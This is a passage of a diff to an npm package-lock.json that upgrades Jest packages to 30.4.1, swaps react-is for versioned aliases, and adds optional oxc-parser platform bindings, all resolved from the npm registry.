"https://registry.npmjs.org/jest-util/-/jest-util-30.4.1.tgz", + "integrity": "sha512-vjQb1sACEiv13DKJMDToJpzVW0joCsIQrmbg0fi7CyOOt+g9jTuQl2A216pWRBYhOVt53XbL/2LbMKg1BECWOw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", @@ -2519,14 +2553,14 @@ } }, "node_modules/@jest/expect": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/@jest/expect/-/expect-30.3.0.tgz", - "integrity": "sha512-76Nlh4xJxk2D/9URCn3wFi98d2hb19uWE1idLsTt2ywhvdOldbw3S570hBgn25P4ICUZ/cBjybrBex2g17IDbg==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/@jest/expect/-/expect-30.4.1.tgz", + "integrity": "sha512-ginrj6TMgh2GshLUGCjO94Ptx9HhdZA/I6A9iUfyeLKFtdAjnKzHDgzgP9HYQgbxM1lbXScQ2eUBz2lGeVDPWA==", "dev": true, "license": "MIT", "dependencies": { - "expect": "30.3.0", - "jest-snapshot": "30.3.0" + "expect": "30.4.1", + "jest-snapshot": "30.4.1" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" @@ -2546,9 +2580,9 @@ } }, "node_modules/@jest/expect/node_modules/@jest/expect-utils": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/@jest/expect-utils/-/expect-utils-30.3.0.tgz", - "integrity": "sha512-j0+W5iQQ8hBh7tHZkTQv3q2Fh/M7Je72cIsYqC4OaktgtO7v1So9UTjp6uPBHIaB6beoF/RRsCgMJKvti0wADA==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/@jest/expect-utils/-/expect-utils-30.4.1.tgz", + "integrity": "sha512-ZBn5CglH8fBsQsvs4VWNzD4aWfUYks+IdOOQU3MEK71ol/BcVm+P+rtb1KpiFBpSWSCE27uOahyyf1vfqOVbcQ==", "dev": true, "license": "MIT", "dependencies": { @@ -2572,69 +2606,70 @@ } }, "node_modules/@jest/expect/node_modules/expect": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/expect/-/expect-30.3.0.tgz", - "integrity": "sha512-1zQrciTiQfRdo7qJM1uG4navm8DayFa2TgCSRlzUyNkhcJ6XUZF3hjnpkyr3VhAqPH7i/9GkG7Tv5abz6fqz0Q==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/expect/-/expect-30.4.1.tgz", + "integrity": "sha512-PMARsyh/JtqC20HoGqlFcIlQAyqUtW4PlI1rup1uhYJtKuwAjbvWi3GQMAn+STdHum/dk8xrKfUM1+5SAwpolA==", "dev": true, "license": "MIT", "dependencies": { - "@jest/expect-utils": "30.3.0", + "@jest/expect-utils": "30.4.1", "@jest/get-type": "30.1.0", - "jest-matcher-utils": "30.3.0", - "jest-message-util": "30.3.0", - "jest-mock": "30.3.0", - "jest-util": "30.3.0" + "jest-matcher-utils": "30.4.1", + "jest-message-util": "30.4.1", + "jest-mock": "30.4.1", + "jest-util": "30.4.1" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, "node_modules/@jest/expect/node_modules/jest-diff": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-30.3.0.tgz", - "integrity": "sha512-n3q4PDQjS4LrKxfWB3Z5KNk1XjXtZTBwQp71OP0Jo03Z6V60x++K5L8k6ZrW8MY8pOFylZvHM0zsjS1RqlHJZQ==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-30.4.1.tgz", + "integrity": "sha512-CRpFK0RtLriVDGcPPAnR6HMVI8bSR2jnUIgralhauzYQZIb4RH9AtEInTuQr65LmmGggGcRT6HIASxwqsVsmlA==", "dev": true, "license": "MIT", "dependencies": { - "@jest/diff-sequences": "30.3.0", + "@jest/diff-sequences": "30.4.0", "@jest/get-type": "30.1.0", "chalk": "^4.1.2", - "pretty-format": "30.3.0" + "pretty-format": "30.4.1" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, "node_modules/@jest/expect/node_modules/jest-matcher-utils": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-30.3.0.tgz", - "integrity": "sha512-HEtc9uFQgaUHkC7nLSlQL3Tph4Pjxt/yiPvkIrrDCt9jhoLIgxaubo1G+CFOnmHYMxHwwdaSN7mkIFs6ZK8OhA==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-30.4.1.tgz", + "integrity": "sha512-zvYfX5CaeEkFrrLS9suWe9rvJrm9J1Iv3ua8kIBv9GEPzcnsfBf0bob37la7s67fs0nlBC3EuvkOLnXQKxtx4A==", "dev": true, "license": "MIT", "dependencies": { "@jest/get-type": "30.1.0", "chalk": "^4.1.2", - "jest-diff": "30.3.0", - "pretty-format": "30.3.0" + "jest-diff": "30.4.1", + "pretty-format": "30.4.1" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, "node_modules/@jest/expect/node_modules/jest-message-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.3.0.tgz", - "integrity": "sha512-Z/j4Bo+4ySJ+JPJN3b2Qbl9hDq3VrXmnjjGEWD/x0BCXeOXPTV1iZYYzl2X8c1MaCOL+ewMyNBcm88sboE6YWw==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.4.1.tgz", + "integrity": "sha512-kwCKIvq0MCW1HzLoGola9Te6JUdzgV0loyKJ3Qghrkz9i5/RRIHsL95BMQc2HBBhlBKC4j22K9p11TGHH8RBpQ==", "dev": true, "license": "MIT", "dependencies": { "@babel/code-frame": "^7.27.1", - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/stack-utils": "^2.0.3", "chalk": "^4.1.2", "graceful-fs": "^4.2.11", + "jest-util": "30.4.1", "picomatch": "^4.0.3", - "pretty-format": "30.3.0", + "pretty-format": "30.4.1", "slash": "^3.0.0", "stack-utils": "^2.0.6" }, @@ -2643,13 +2678,13 @@ } }, "node_modules/@jest/expect/node_modules/jest-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.3.0.tgz", - "integrity": "sha512-/jZDa00a3Sz7rdyu55NLrQCIrbyIkbBxareejQI315f/i8HjYN+ZWsDLLpoQSiUIEIyZF/R8fDg3BmB8AtHttg==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.4.1.tgz", + "integrity": "sha512-vjQb1sACEiv13DKJMDToJpzVW0joCsIQrmbg0fi7CyOOt+g9jTuQl2A216pWRBYhOVt53XbL/2LbMKg1BECWOw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", @@ -2661,40 +2696,34 @@ } }, "node_modules/@jest/expect/node_modules/pretty-format": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.3.0.tgz", - "integrity": "sha512-oG4T3wCbfeuvljnyAzhBvpN45E8iOTXCU/TD3zXW80HA3dQ4ahdqMkWGiPWZvjpQwlbyHrPTWUAqUzGzv4l1JQ==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.4.1.tgz", + "integrity": "sha512-K6KiKMHTL4jjX4u3Kir2EW07nRfcqVTXIImx50wbjHQTcZPgg+gjVeNTIT3l3L1Rd4UefxfogquC9J37SoFyyw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/schemas": "30.0.5", + "@jest/schemas": "30.4.1", "ansi-styles": "^5.2.0", - "react-is": "^18.3.1" + "react-is-18": "npm:react-is@^18.3.1", + "react-is-19": "npm:react-is@^19.2.5" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/@jest/expect/node_modules/react-is": { - "version": "18.3.1", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", - "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", - "dev": true, - "license": "MIT" - }, "node_modules/@jest/fake-timers": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-30.3.0.tgz", - "integrity": "sha512-WUQDs8SOP9URStX1DzhD425CqbN/HxUYCTwVrT8sTVBfMvFqYt/s61EK5T05qnHu0po6RitXIvP9otZxYDzTGQ==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-30.4.1.tgz", + "integrity": "sha512-iW5umdmfPeWzehrVhugFQZqCchSCud5S1l2YT0O9ZhjRR0ExclANDZkiSBwzqtnlOn0J1JXvO+HZ6rkuyOVOgQ==", "dev": true, "license": "MIT", "dependencies": { - "@jest/types": "30.3.0", - "@sinonjs/fake-timers": "^15.0.0", + "@jest/types": "30.4.1", + "@sinonjs/fake-timers": "^15.4.0", "@types/node": "*", - "jest-message-util": "30.3.0", - "jest-mock": "30.3.0", - "jest-util": "30.3.0" + "jest-message-util": "30.4.1", + "jest-mock": "30.4.1", + "jest-util": "30.4.1" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" @@ -2714,19 +2743,20 @@ } }, "node_modules/@jest/fake-timers/node_modules/jest-message-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.3.0.tgz", - "integrity": "sha512-Z/j4Bo+4ySJ+JPJN3b2Qbl9hDq3VrXmnjjGEWD/x0BCXeOXPTV1iZYYzl2X8c1MaCOL+ewMyNBcm88sboE6YWw==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.4.1.tgz", + "integrity": "sha512-kwCKIvq0MCW1HzLoGola9Te6JUdzgV0loyKJ3Qghrkz9i5/RRIHsL95BMQc2HBBhlBKC4j22K9p11TGHH8RBpQ==", "dev": true, "license": "MIT", "dependencies": { "@babel/code-frame": "^7.27.1", - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/stack-utils": "^2.0.3", "chalk": "^4.1.2", "graceful-fs": "^4.2.11", + "jest-util": "30.4.1", "picomatch": "^4.0.3", - "pretty-format": "30.3.0", + "pretty-format": "30.4.1", "slash": "^3.0.0", "stack-utils": "^2.0.6" }, @@ -2735,13 +2765,13 @@ } }, "node_modules/@jest/fake-timers/node_modules/jest-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.3.0.tgz", - "integrity": "sha512-/jZDa00a3Sz7rdyu55NLrQCIrbyIkbBxareejQI315f/i8HjYN+ZWsDLLpoQSiUIEIyZF/R8fDg3BmB8AtHttg==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.4.1.tgz", + "integrity": "sha512-vjQb1sACEiv13DKJMDToJpzVW0joCsIQrmbg0fi7CyOOt+g9jTuQl2A216pWRBYhOVt53XbL/2LbMKg1BECWOw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", @@ -2753,27 +2783,21 @@ } }, "node_modules/@jest/fake-timers/node_modules/pretty-format": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.3.0.tgz", - "integrity": "sha512-oG4T3wCbfeuvljnyAzhBvpN45E8iOTXCU/TD3zXW80HA3dQ4ahdqMkWGiPWZvjpQwlbyHrPTWUAqUzGzv4l1JQ==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.4.1.tgz", + "integrity": "sha512-K6KiKMHTL4jjX4u3Kir2EW07nRfcqVTXIImx50wbjHQTcZPgg+gjVeNTIT3l3L1Rd4UefxfogquC9J37SoFyyw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/schemas": "30.0.5", + "@jest/schemas": "30.4.1", "ansi-styles": "^5.2.0", - "react-is": "^18.3.1" + "react-is-18": "npm:react-is@^18.3.1", + "react-is-19": "npm:react-is@^19.2.5" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/@jest/fake-timers/node_modules/react-is": { - "version": "18.3.1", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", - "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", - "dev": true, - "license": "MIT" - }, "node_modules/@jest/get-type": { "version": "30.1.0", "resolved": "https://registry.npmjs.org/@jest/get-type/-/get-type-30.1.0.tgz", @@ -2785,47 +2809,47 @@ } }, "node_modules/@jest/globals": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-30.3.0.tgz", - "integrity": "sha512-+owLCBBdfpgL3HU+BD5etr1SvbXpSitJK0is1kiYjJxAAJggYMRQz5hSdd5pq1sSggfxPbw2ld71pt4x5wwViA==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-30.4.1.tgz", + "integrity": "sha512-ZbuY4cmXC8DkxYjfvT2DbcHWL2T6vmsMhXCDcmTB2T0y0gaezBI77ufq5ZAIdcRkYZ7NEQEDg1xFeKbxUJ5v5Q==", "dev": true, "license": "MIT", "dependencies": { - "@jest/environment": "30.3.0", - "@jest/expect": "30.3.0", - "@jest/types": "30.3.0", - "jest-mock": "30.3.0" + "@jest/environment": "30.4.1", + "@jest/expect": "30.4.1", + "@jest/types": "30.4.1", + "jest-mock": "30.4.1" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, "node_modules/@jest/pattern": { - "version": "30.0.1", - "resolved": "https://registry.npmjs.org/@jest/pattern/-/pattern-30.0.1.tgz", - "integrity": "sha512-gWp7NfQW27LaBQz3TITS8L7ZCQ0TLvtmI//4OwlQRx4rnWxcPNIYjxZpDcN4+UlGxgm3jS5QPz8IPTCkb59wZA==", + "version": "30.4.0", + "resolved": "https://registry.npmjs.org/@jest/pattern/-/pattern-30.4.0.tgz", + "integrity": "sha512-RAWn3+f9u8BsHijKJ71uHcFp6vmyEt6VvoWXkl6hKF3qVIuWNmudVjg12DlBPGup/frIl5UcUlH5HfEuvHpEXg==", "dev": true, "license": "MIT", "dependencies": { "@types/node": "*", - "jest-regex-util": "30.0.1" + "jest-regex-util": "30.4.0" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, "node_modules/@jest/reporters": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-30.3.0.tgz", - "integrity": "sha512-a09z89S+PkQnL055bVj8+pe2Caed2PBOaczHcXCykW5ngxX9EWx/1uAwncxc/HiU0oZqfwseMjyhxgRjS49qPw==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-30.4.1.tgz", + "integrity": "sha512-/SnkPCzEQpUaBH81kjdEdDdo2WZl5hxw+BmLDGWjRkm8o7XlhjwsU36cqwe5PGBE5WYpBvDzRSdXx9rbGuJtNA==", "dev": true, "license": "MIT", "dependencies": { "@bcoe/v8-coverage": "^0.2.3", - "@jest/console": "30.3.0", - "@jest/test-result": "30.3.0", - "@jest/transform": "30.3.0", - "@jest/types": "30.3.0", + "@jest/console": "30.4.1", + "@jest/test-result": "30.4.1", + "@jest/transform": "30.4.1", + "@jest/types": "30.4.1", "@jridgewell/trace-mapping": "^0.3.25", "@types/node": "*", "chalk": "^4.1.2", @@ -2838,9 +2862,9 @@ "istanbul-lib-report": "^3.0.0", "istanbul-lib-source-maps": "^5.0.0", "istanbul-reports": "^3.1.3", - "jest-message-util": "30.3.0", - "jest-util": "30.3.0", - "jest-worker": "30.3.0", + "jest-message-util": "30.4.1", + "jest-util": "30.4.1", + "jest-worker": "30.4.1", "slash": "^3.0.0", "string-length": "^4.0.2", "v8-to-istanbul": "^9.0.1" @@ -2871,19 +2895,20 @@ } }, "node_modules/@jest/reporters/node_modules/jest-message-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.3.0.tgz", - "integrity": "sha512-Z/j4Bo+4ySJ+JPJN3b2Qbl9hDq3VrXmnjjGEWD/x0BCXeOXPTV1iZYYzl2X8c1MaCOL+ewMyNBcm88sboE6YWw==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.4.1.tgz", + "integrity": "sha512-kwCKIvq0MCW1HzLoGola9Te6JUdzgV0loyKJ3Qghrkz9i5/RRIHsL95BMQc2HBBhlBKC4j22K9p11TGHH8RBpQ==", "dev": true, "license": "MIT", "dependencies": { "@babel/code-frame": "^7.27.1", - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/stack-utils": "^2.0.3", "chalk": "^4.1.2", "graceful-fs": "^4.2.11", + "jest-util": "30.4.1", "picomatch": "^4.0.3", - "pretty-format": "30.3.0", + "pretty-format": "30.4.1", "slash": "^3.0.0", "stack-utils": "^2.0.6" }, @@ -2892,13 +2917,13 @@ } }, "node_modules/@jest/reporters/node_modules/jest-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.3.0.tgz", - "integrity": "sha512-/jZDa00a3Sz7rdyu55NLrQCIrbyIkbBxareejQI315f/i8HjYN+ZWsDLLpoQSiUIEIyZF/R8fDg3BmB8AtHttg==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.4.1.tgz", + "integrity": "sha512-vjQb1sACEiv13DKJMDToJpzVW0joCsIQrmbg0fi7CyOOt+g9jTuQl2A216pWRBYhOVt53XbL/2LbMKg1BECWOw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", @@ -2910,31 +2935,25 @@ } }, "node_modules/@jest/reporters/node_modules/pretty-format": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.3.0.tgz", - "integrity": "sha512-oG4T3wCbfeuvljnyAzhBvpN45E8iOTXCU/TD3zXW80HA3dQ4ahdqMkWGiPWZvjpQwlbyHrPTWUAqUzGzv4l1JQ==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.4.1.tgz", + "integrity": "sha512-K6KiKMHTL4jjX4u3Kir2EW07nRfcqVTXIImx50wbjHQTcZPgg+gjVeNTIT3l3L1Rd4UefxfogquC9J37SoFyyw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/schemas": "30.0.5", + "@jest/schemas": "30.4.1", "ansi-styles": "^5.2.0", - "react-is": "^18.3.1" + "react-is-18": "npm:react-is@^18.3.1", + "react-is-19": "npm:react-is@^19.2.5" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/@jest/reporters/node_modules/react-is": { - "version": "18.3.1", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", - "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", - "dev": true, - "license": "MIT" - }, "node_modules/@jest/schemas": { - "version": "30.0.5", - "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-30.0.5.tgz", - "integrity": "sha512-DmdYgtezMkh3cpU8/1uyXakv3tJRcmcXxBOcO0tbaozPwpmh4YMsnWrQm9ZmZMfa5ocbxzbFk6O4bDPEc/iAnA==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-30.4.1.tgz", + "integrity": "sha512-i6b4qw5qnP8c5FEeBJg/uZQ4ddrkN6Ca8qISJh0pr7a5hfn3h3v5x60BEbOC7OYAGZNMs1LfFLwnW2CuK8F57Q==", "dev": true, "license": "MIT", "dependencies": { @@ -2945,13 +2964,13 @@ } }, "node_modules/@jest/snapshot-utils": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/@jest/snapshot-utils/-/snapshot-utils-30.3.0.tgz", - "integrity": "sha512-ORbRN9sf5PP82v3FXNSwmO1OTDR2vzR2YTaR+E3VkSBZ8zadQE6IqYdYEeFH1NIkeB2HIGdF02dapb6K0Mj05g==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/@jest/snapshot-utils/-/snapshot-utils-30.4.1.tgz", + "integrity": "sha512-ObY4ljvQ95mt6iwKtVLetR/4yXiAgl3H4nJxhztr0MTjrN97TwDYrnCp/kF60Ec9HdhkWTHSu+Hg05aXfngpOA==", "dev": true, "license": "MIT", "dependencies": { - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "chalk": "^4.1.2", "graceful-fs": "^4.2.11", "natural-compare": "^1.4.0" @@ -2976,14 +2995,14 @@ } }, "node_modules/@jest/test-result": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-30.3.0.tgz", - "integrity": "sha512-e/52nJGuD74AKTSe0P4y5wFRlaXP0qmrS17rqOMHeSwm278VyNyXE3gFO/4DTGF9w+65ra3lo3VKj0LBrzmgdQ==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-30.4.1.tgz", + "integrity": "sha512-/ZG7pgEiOmmWkN9TplKbOu4id2N5lh7FHwRwlkgBVAzGdRH+OkkQ8wX/kIxg4zmd3ZQvAL1RwL2yWsvNYYECTw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/console": "30.3.0", - "@jest/types": "30.3.0", + "@jest/console": "30.4.1", + "@jest/types": "30.4.1", "@types/istanbul-lib-coverage": "^2.0.6", "collect-v8-coverage": "^1.0.2" }, @@ -2992,15 +3011,15 @@ } }, "node_modules/@jest/test-sequencer": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-30.3.0.tgz", - "integrity": "sha512-dgbWy9b8QDlQeRZcv7LNF+/jFiiYHTKho1xirauZ7kVwY7avjFF6uTT0RqlgudB5OuIPagFdVtfFMosjVbk1eA==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-30.4.1.tgz", + "integrity": "sha512-PeYE+4td5rKjoRPxztObrXU+H8hsjZfxKMXOcmrr34JerSyB/ROOxbbicz8B7A5j9R9VayDnVPvBmedqCsFCdw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/test-result": "30.3.0", + "@jest/test-result": "30.4.1", "graceful-fs": "^4.2.11", - "jest-haste-map": "30.3.0", + "jest-haste-map": "30.4.1", "slash": "^3.0.0" }, "engines": { @@ -3008,23 +3027,23 @@ } }, "node_modules/@jest/transform": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-30.3.0.tgz", - "integrity": "sha512-TLKY33fSLVd/lKB2YI1pH69ijyUblO/BQvCj566YvnwuzoTNr648iE0j22vRvVNk2HsPwByPxATg3MleS3gf5A==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-30.4.1.tgz", + "integrity": "sha512-Wz0LyktlTvRefoymh+n64hQ84KNXsRGcwdoZ8CSa0Ea+fgYcHZlnk+hDP7v2MS7il2bQ5uTEIxf4/NNfhMN4KQ==", "dev": true, "license": "MIT", "dependencies": { "@babel/core": "^7.27.4", - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@jridgewell/trace-mapping": "^0.3.25", "babel-plugin-istanbul": "^7.0.1", "chalk": "^4.1.2", "convert-source-map": "^2.0.0", "fast-json-stable-stringify": "^2.1.0", "graceful-fs": "^4.2.11", - "jest-haste-map": "30.3.0", - "jest-regex-util": "30.0.1", - "jest-util": "30.3.0", + "jest-haste-map": "30.4.1", + "jest-regex-util": "30.4.0", + "jest-util": "30.4.1", "pirates": "^4.0.7", "slash": "^3.0.0", "write-file-atomic": "^5.0.1" @@ -3041,13 +3060,13 @@ "license": "MIT" }, "node_modules/@jest/transform/node_modules/jest-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.3.0.tgz", - "integrity": "sha512-/jZDa00a3Sz7rdyu55NLrQCIrbyIkbBxareejQI315f/i8HjYN+ZWsDLLpoQSiUIEIyZF/R8fDg3BmB8AtHttg==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.4.1.tgz", + "integrity": "sha512-vjQb1sACEiv13DKJMDToJpzVW0joCsIQrmbg0fi7CyOOt+g9jTuQl2A216pWRBYhOVt53XbL/2LbMKg1BECWOw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", @@ -3059,14 +3078,14 @@ } }, "node_modules/@jest/types": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/@jest/types/-/types-30.3.0.tgz", - "integrity": "sha512-JHm87k7bA33hpBngtU8h6UBub/fqqA9uXfw+21j5Hmk7ooPHlboRNxHq0JcMtC+n8VJGP1mcfnD3Mk+XKe1oSw==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-30.4.1.tgz", + "integrity": "sha512-f1x/vJXIfjOlEmejYpbkbgw1gOqpPECwMvMEtBqe47j7H2Hg8h8w3o3ikhSXq3MI15kg+oQ0exWO0uCtTNJLoQ==", "dev": true, "license": "MIT", "dependencies": { - "@jest/pattern": "30.0.1", - "@jest/schemas": "30.0.5", + "@jest/pattern": "30.4.0", + "@jest/schemas": "30.4.1", "@types/istanbul-lib-coverage": "^2.0.6", "@types/istanbul-reports": "^3.0.4", "@types/node": "*", @@ -3617,16 +3636,22 @@ } }, "node_modules/@napi-rs/wasm-runtime": { - "version": "0.2.12", - "resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-0.2.12.tgz", - "integrity": "sha512-ZVWUcfwY4E/yPitQJl481FjFo3K22D6qF0DuFH6Y/nbnE11GY5uguDxZMGXPQ8WQ0128MXQD7TnfHyK4oWoIJQ==", + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-1.1.5.tgz", + "integrity": "sha512-AWPoBRJ9tsnVhor4sjO7rkni+7p+2IAEFj6cx06UgP10jkQHqay/36uRV/bFkgrh18D9vb4cr8Q0Pthskgzy+Q==", "dev": true, "license": "MIT", "optional": true, "dependencies": { - "@emnapi/core": "^1.4.3", - "@emnapi/runtime": "^1.4.3", - "@tybys/wasm-util": "^0.10.0" + "@tybys/wasm-util": "^0.10.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + }, + "peerDependencies": { + "@emnapi/core": "^1.7.1", + "@emnapi/runtime": "^1.7.1" } }, "node_modules/@nodelib/fs.scandir": { @@ -3664,14 +3689,660 @@ "node": ">= 8" } }, + "node_modules/@oxc-parser/binding-android-arm-eabi": { + "version": "0.127.0", + "resolved": "https://registry.npmjs.org/@oxc-parser/binding-android-arm-eabi/-/binding-android-arm-eabi-0.127.0.tgz", + "integrity": "sha512-0LC7ye4hvqbIKxAzThzvswgHLFu2AURKzYLeSVvLdu2TBOYWQDmHnTqPLeA597BcUCxiLqLsS4CJ5uoI5WYWCQ==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@oxc-parser/binding-android-arm64": { + "version": "0.127.0", + "resolved": "https://registry.npmjs.org/@oxc-parser/binding-android-arm64/-/binding-android-arm64-0.127.0.tgz", + "integrity": "sha512-b5jtVTH6AU5CJXHNdj7Jj9IEiR9yVjjnwHzPJhGyHGPdcsZSzBCkS9GBbV33niRMvKthDwQRFRJfI4a+k4PvYg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@oxc-parser/binding-darwin-arm64": { + "version": "0.127.0", + "resolved": "https://registry.npmjs.org/@oxc-parser/binding-darwin-arm64/-/binding-darwin-arm64-0.127.0.tgz", + "integrity": "sha512-obCE8B7ISKkJidjlhv9xRGJPOSDG2Yu6PRga9Ruaz35uintHxbp1Ki/Yc71wx4rj3Edrm0a1kzG1TAwit0wFpg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@oxc-parser/binding-darwin-x64": { + "version": "0.127.0", + "resolved": "https://registry.npmjs.org/@oxc-parser/binding-darwin-x64/-/binding-darwin-x64-0.127.0.tgz", + "integrity": "sha512-JL6Xb5IwPQT8rUzlpsX7E+AgfcdNklXNPFp8pjCQQ5MQOQo5rtEB2ui+3Hgg9Sn7Y9Egj6YOLLiHhLpdAe12Aw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + 